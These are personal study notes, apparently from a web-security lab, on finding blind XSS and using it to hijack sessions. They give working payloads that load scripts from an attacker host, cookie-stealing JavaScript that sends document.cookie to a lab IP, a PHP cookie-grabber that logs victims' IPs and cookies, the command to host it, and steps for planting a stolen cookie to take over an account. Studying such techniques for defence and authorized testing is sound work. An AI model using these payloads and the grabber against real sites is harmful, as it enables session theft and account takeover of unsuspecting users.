Modern webapps use cookies to maintain a session
- enables user to login once and keep session at another time
- if malicious user obtains cookie data this can be used to login as that user
- with the ability to execute JS code on a victim's browser we can collect their cookie and send them to our server to hijack logged-in sessions
Blind XSS detection
- determine if an XSS vulnerability exists is usually first step
- in this exercise, we will be dealing with a BLIND xss vuln
- occurs when vuln triggers on page we don't have access to
Usually happens with forms only accessible by certain users
- Contact forms
- Reviews
- User details
- Support tickets
- HTTP user-agent headers
 fill in some example details


This flow indicates we cannot see how input will be handled or how it will look in browser when Admin goes to look at our request. In non-blind scenario, we can test each input parameter until we have a successful payload hit.
How would we be able to detect an XSS vulnerability if we cannot reliably get output?
Well, we can use the same trick as before - Use a javascript payload that sends an HTTP request back to our server. If JS code gets executed we will get a response on our machine
- How can we know which specific field in vulnerable?
- Any of the fields may execute our code, and we cannot know which one of them did
- How can we know what XSS payload to use?
We can include remote script by providing its url:
<script src="http://OUR_IP/script.js"></script>
We can change the script.js to the name of the field we're injecting in - when we get a request to our webserver, we can correlate the request we get to the vulnerable form.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss
With that we can try various palyloads to see which of them sends us a request:
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
Various payloads start with injection points like '>
Depends on how input is handled in backend
If we had access to source code we can determine precisely what payload is required This is why blind XSS has a higher success rate with DOM XSS type vulnerabilities
TIP:
Email field must match an email format
Even if we try manipulating request parameterse it seems to be validateed by both backend and frontend
Hence - email field is likely not vulnerable, and we can skip testing it.
Likewise - we can probably skip the password field, as passwords are usually hashed and not shown in cleartext. This reduces the vector we test
Submit the payload, check terminal, if we have no calls to server, proceed to next payload and rinse/repeat. Once we receive a call to our server, we note the last XSS payload used as a working payload + note this input field name
 
From here we can tell that the /imgurl field is vulnerable, its not necessary to check the others.
The injection point was ">
Once we have working payload + vuln field - we can craft our request
Session hijacking is very similar to a phishing attack
Requires a JS payload to send us required data + php script hosted on our server to grab + parse the transmitted data.
Some example payloads to grab session cookie and send it to our server can be found below
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#exploit-code-or-poc
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Second payload simply adds an image to the page - first navigates to our cookie grabber page which may look suspicious
Let's try these payloads and save to script.js which we host
Hosted Javascript:
new Image().src='http://10.10.14.138/index.php?c='+document.cookie
XSS Payload:
"><script src=http://10.10.14.138/script.js></script>
Start our PHP server to host the script and we can call that script from our XSS payload. If there's a lot of cookies we may not know which value belongs to which cookie header Write a php script to split with newline and write to new file.
index.php
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Now wait for victim to visit vuln page and view our XSS payload. Once they do, we get two requests - One for script.js, which will make another request once its executed remotely to send us the cookie value

To manually insert a cookie value into the browser:
Finally, we can use this cookie on the login.php page to access the victim's account. To do so, once we navigate to /hijacking/login.php, we can click Shift+F9 in Firefox to reveal the Storage bar in the Developer Tools. Then, we can click on the + button on the top right corner and add our cookie, where the Name is the part before = and the Value is the part after = from our stolen cookie:
POC
sudo php -S 0.0.0.0:80
 payload from above used



